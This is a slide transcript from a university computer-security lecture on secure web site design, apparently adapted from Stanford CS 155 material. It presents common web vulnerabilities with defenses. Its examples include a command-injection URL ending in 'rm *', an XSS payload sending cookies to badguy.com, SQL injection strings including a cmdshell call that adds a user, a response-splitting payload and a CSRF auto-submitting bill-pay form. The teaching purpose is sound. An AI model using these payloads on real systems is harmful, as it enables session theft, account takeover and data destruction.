1 / 40

Computer Security CS 426 Lecture 26

hung
Télécharger la présentation

Computer Security CS 426 Lecture 26

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript

    1. Computer Security CS 426 Lecture 26 Secure Web Site Design (Most Slides taken from Prof. Dan Boneh CS 155 Slides at Stanford)

    2. Schematic web site architecture Load balancers: Cisco, F5, Nortel, Juniper, Distribute load, ensure persistence, WS heart beatLoad balancers: Cisco, F5, Nortel, Juniper, Distribute load, ensure persistence, WS heart beat

    3. Web Application Firewalls Prevent some attacks we discuss today: SQL Injection Form field tampering Cookie poisoning Some examples: Imperva Kavado Interdo F5 TrafficShield Citrix NetScaler CheckPoint Web Intelligence List of examples keep changing every year. These devices also function as SSL terminators to peek into SSL traffic.List of examples keep changing every year. These devices also function as SSL terminators to peek into SSL traffic.

    4. Our focus: web app code Common web-site attacks: Denial of Service: Attack the web server (IIS, Apache) : e.g. control hijacking: CodeRed, Nimda, Solutions: Harden web server: stackguard, libsafe, Worm defense: Host based intrusion detection, Worm signatures generation, shields. Today: Common vulnerabilities in web application code

    5. Web app code Runs on web server or app server. Takes input from web users (via web server) Interacts with the database and 3rd parties. Prepares results for users (via web server) Examples: Shopping carts, home banking, bill pay, tax prep, New code written for every web site. Written in: C, PHP, Perl, Python, JSP, ASP, Often written with little consideration for security. 3rd parties: creditcard processor3rd parties: creditcard processor

    6. Common vulnerabilities Inadequate validation of user input Cross site scripting SQL Injection HTTP Splitting Broken session management Can lead to session hijacking and data theft Insecure storage Sensitive data stored in the clear. Prime target for theft e.g. egghead, Verizon. Note: PCI Data Security Standard (Visa, Mastercard) PCI: Payment Card IndustryPCI: Payment Card Industry

    7. Warm up: a simple example Direct use of user input: http://victim.com/ copy.php ? name=username copy.php: Problem: http://victim.com/ copy.php ? name=a ; rm * (should be: name=a%20;%20rm%20* ) a ; rm * needs to be HTTP encodeda ; rm * needs to be HTTP encoded

    8. Redirects EZShopper.com shopping cart (10/2004): http:///cgi-bin/ loadpage.cgi ? page=url Redirects browser to url Redirects are common on many sites Used to track when user clicks on external link EZShopper uses redirect to add HTTP headers Problem: phishing http://victim.com/cgi-bin/loadpage ? page=phisher.com Link to victim.com puts user at phisher.com ? Local redirects should ensure target URL is local Example tracking of external links: google, yahoo, etc. Redirects also used to simplify link management if pages move no need to update lots of HREFS. Makes it harder to blacklist phishing siteExample tracking of external links: google, yahoo, etc. Redirects also used to simplify link management if pages move no need to update lots of HREFS. Makes it harder to blacklist phishing site

    9. Cross Site Scripting

    10. The setup User input is echoed into HTML response. Example: search field http://victim.com/search.php ? term = apple search.php responds with: <HTML> <TITLE> Search Results </TITLE> <BODY> Results for <?php echo $_GET[term] ?> : . . . </BODY> </HTML> Is this exploitable?

    11. Bad input Problem: no validation of input term Consider link: (properly URL encoded) http://victim.com/search.php ? term = <script> window.open( http://badguy.com?cookie = + document.cookie ) </script> What if user clicks on this link? Browser goes to victim.com/search.php Victim.com returns <HTML> Results for <script> </script> Browser executes script: Sends badguy.com cookie for victim.com

    12. So what? Why would user click on such a link? Phishing email in webmail client (e.g. gmail). Link in doubleclick banner ad many many ways to fool user into clicking What if badguy.com gets cookie for victim.com ? Cookie can include session auth for victim.com Or other data intended only for victim.com Violates same origin policy

    13. Even worse Attacker can execute arbitrary scripts in browser Can manipulate any DOM component on victim.com Control links on page Control form fields (e.g. password field) on this page and linked pages. Can infect other users: MySpace.com worm.

    14. MySpace.com (Samy worm) Users can post HTML on their pages MySpace.com ensures HTML contains no <script>, <body>, onclick, <a href=javascript://> but can do Javascript within CSS tags: <div style=background:url(javascript:alert(1))> And can hide javascript as java\nscript With careful javascript hacking: Samys worm: infects anyone who visits an infected MySpace page and adds Samy as a friend. Samy had millions of friends within 24 hours. More info: http://namb.la/popular/tech.html

    15. Avoiding XSS bugs (PHP) Main problem: Input checking is difficult --- many ways to inject scripts into HTML. Preprocess input from user before echoing it PHP: htmlspecialchars(string) & ? & " ? " ' ? ' < ? < > ? > htmlspecialchars( "<a href='test'>Test</a>", ENT_QUOTES); Outputs: <a href='test'>Test</a>

    16. Avoiding XSS bugs (ASP.NET) ASP.NET 1.1: Server.HtmlEncode(string) Similar to PHP htmlspecialchars validateRequest: (on by default) Crashes page if finds <script> in POST data. Looks for hardcoded list of patterns. Can be disabled: <%@ Page validateRequest=false" %>

    18. SQL Injection

    19. The setup User input is used in SQL query Example: login page (ASP) set ok = execute(SELECT * FROM UserTable WHERE username=' & form(user) & ' AND password=' & form(pwd) & ' ); If not ok.EOF login success else fail; Is this exploitable? This snipet is in VB.This snipet is in VB.

    20. Bad input Suppose user = ' or 1 = 1 -- (URL encoded) Then scripts does: ok = execute( SELECT WHERE username= ' ' or 1=1 -- ) The - - causes rest of line to be ignored. Now ok.EOF is always false. The bad news: easy login to many sites this way.

    21. Even worse Suppose user = ' exec cmdshell 'net user badguy badpwd' / ADD -- Then script does: ok = execute( SELECT WHERE username= ' ' exec ) If SQL server context runs as sa, attacker gets account on DB server.

    22. Avoiding SQL injection Build SQL queries by properly escaping args: ' ? \' Example: Parameterized SQL: (ASP.NET 1.1) Ensures SQL arguments are properly escaped. SqlCommand cmd = new SqlCommand( "SELECT * FROM UserTable WHERE username = @User AND password = @Pwd", dbConnection); cmd.Parameters.Add("@User", Request[user] ); cmd.Parameters.Add("@Pwd", Request[pwd] ); cmd.ExecuteReader(); Escapes with \. -> \ . DB independent --- different DBs have different rules for escaping. This snipet is in C#Escapes with \. -> \ . DB independent --- different DBs have different rules for escaping. This snipet is in C#

    23. HTTP Response Splitting

    24. The setup User input echoed in HTTP header. Example: Language redirect page (JSP) <% response.redirect(/by_lang.jsp?lang= + request.getParameter(lang) ) %> Browser sends http://.../by_lang.jsp ? lang=french Server HTTP Response: HTTP/1.1 302 (redirect) Date: Location: /by_lang.jsp ? lang=french Is this exploitable?

    25. Bad input Suppose browser sends: http://.../by_lang.jsp ? lang= french \n Content-length: 0 \r\n\r\n HTTP/1.1 200 OK Spoofed page (URL encoded)

    26. Bad input HTTP response from server looks like: HTTP/1.1 302 (redirect) Date: Location: /by_lang.jsp ? lang= french Content-length: 0 HTTP/1.1 200 OK Content-length: 217 Spoofed page

    27. So what? What just happened: Attacker submitted bad URL to victim.com URL contained spoofed page in it Got back spoofed page So what? Cache servers along path now store spoof of victim.com Will fool any user using same cache server Defense: dont do that.

    28. Summary thus far

    29. App code Little programming knowledge can be dangerous: Cross site scripting SQL Injection HTTP Splitting What to do? Band-aid: Web App Firewall (WAF) Looks for attack patterns and blocks requests False positive / false negatives Code checking

    30. Code checking Blackbox security testing services: Whitehatsec.com Automated blackbox testing tools: Cenzic, Hailstorm Spidynamic, WebInspect eEye, Retina Web application hardening tools: WebSSARI [WWW04] : based on information flow Nguyen-Tuong [IFIP05] : based on tainting

    31. Session Management Cookies, hidden fields, and user authentication

    32. Cookies Used to store state on users machine

    33. Cookies Brower will store: At most 20 cookies/site, 3 KB / cookie Uses: User authentication Personalization User tracking: e.g. Doubleclick (3rd party cookies) Personalization: NY Times says Hi FredPersonalization: NY Times says Hi Fred

    34. Cookie risks Danger of storing data on browser: User can change values Silly example: Shopping cart software. Set-cookie: shopping-cart-total = 150 ($) User edits cookie file (cookie poisoning): Cookie: shopping-cart-total = 15 ($) bargain shopping. Similar behavior with hidden fields: <INPUT TYPE=hidden NAME=price VALUE=150>

    35. Not so silly (as of 2/2000) D3.COM Pty Ltd: ShopFactory 5.8 @Retail Corporation: @Retail Adgrafix: Check It Out Baron Consulting Group: WebSite Tool ComCity Corporation: SalesCart Crested Butte Software: EasyCart Dansie.net: Dansie Shopping Cart Intelligent Vending Systems: Intellivend Make-a-Store: Make-a-Store OrderPage McMurtrey/Whitaker & Associates: Cart32 3.0 pknutsen@nethut.no: CartMan 1.04 Rich Media Technologies: JustAddCommerce 5.0 SmartCart: SmartCart Web Express: Shoptron 1.2 Source: http://xforce.iss.net/xforce/xfdb/4621 All these shopping carts stored data on browserAll these shopping carts stored data on browser

    36. Example: dansie.net shopping cart <FORM METHOD=POST ACTION="http://www.dansie.net/cgi-bin/scripts/cart.pl"> Black Leather purse with leather straps<BR>Price: $20.00<BR> <INPUT TYPE=HIDDEN NAME=name VALUE="Black leather purse"> <INPUT TYPE=HIDDEN NAME=price VALUE="20.00"> <INPUT TYPE=HIDDEN NAME=sh VALUE="1"> <INPUT TYPE=HIDDEN NAME=img VALUE="purse.jpg"> <INPUT TYPE=HIDDEN NAME=return VALUE="http://www.dansie.net/demo.html"> <INPUT TYPE=HIDDEN NAME=custom1 VALUE="Black leather purse with leather straps"> <INPUT TYPE=SUBMIT NAME="add" VALUE="Put in Shopping Cart"> </FORM> CVE-2000-0253 (Jan. 2001), BugTraq ID: 1115 http://www.dansie.net/demo.html (May, 2006) Danise.net Shopping cart software costs about 150$Danise.net Shopping cart software costs about 150$

    37. Solution When storing state on browser MAC data using server secret key. .NET 2.0: System.Web.Configuration.MachineKey Secret web server key intended for cookie protection HttpCookie cookie = new HttpCookie(name, val); HttpCookie encodedCookie = HttpSecureCookie.Encode (cookie); HttpSecureCookie.Decode (cookie);

    38. Cookie authentication

    39. Weak authenticators: security risk Predictable cookie authenticator Verizon Wireless - counter Valid user logs in, gets counter, can view sessions of other users. Weak authenticator generation: [Fu et al. 01] WSJ.com: cookie = {user, MACk(user) } Weak MAC exposes K from few cookies. Apache Tomcat: generateSessionID() MD5(PRNG) but weak PRNG [GM05]. Predictable SessionIDs Dont generate your own. Use built in procedures: ASP, Tomcat, JServDont generate your own. Use built in procedures: ASP, Tomcat, JServ

    40. Cookie auth is insufficient Example: User logs in to bank.com. Forgets to sign off. Session cookie remains in browser state Then user visits another site containing: <form name=F action=http://bank.com/BillPay.php> <input name=recipient value=badguy> <script> document.F.submit(); </script> Browser sends user auth cookie with request Transaction will be fulfilled Problem: cookie auth is insufficient when side effects can happen Correct use: use cookies + hidden fields

    41. Coming Attractions November 28: Web Application Security

More Related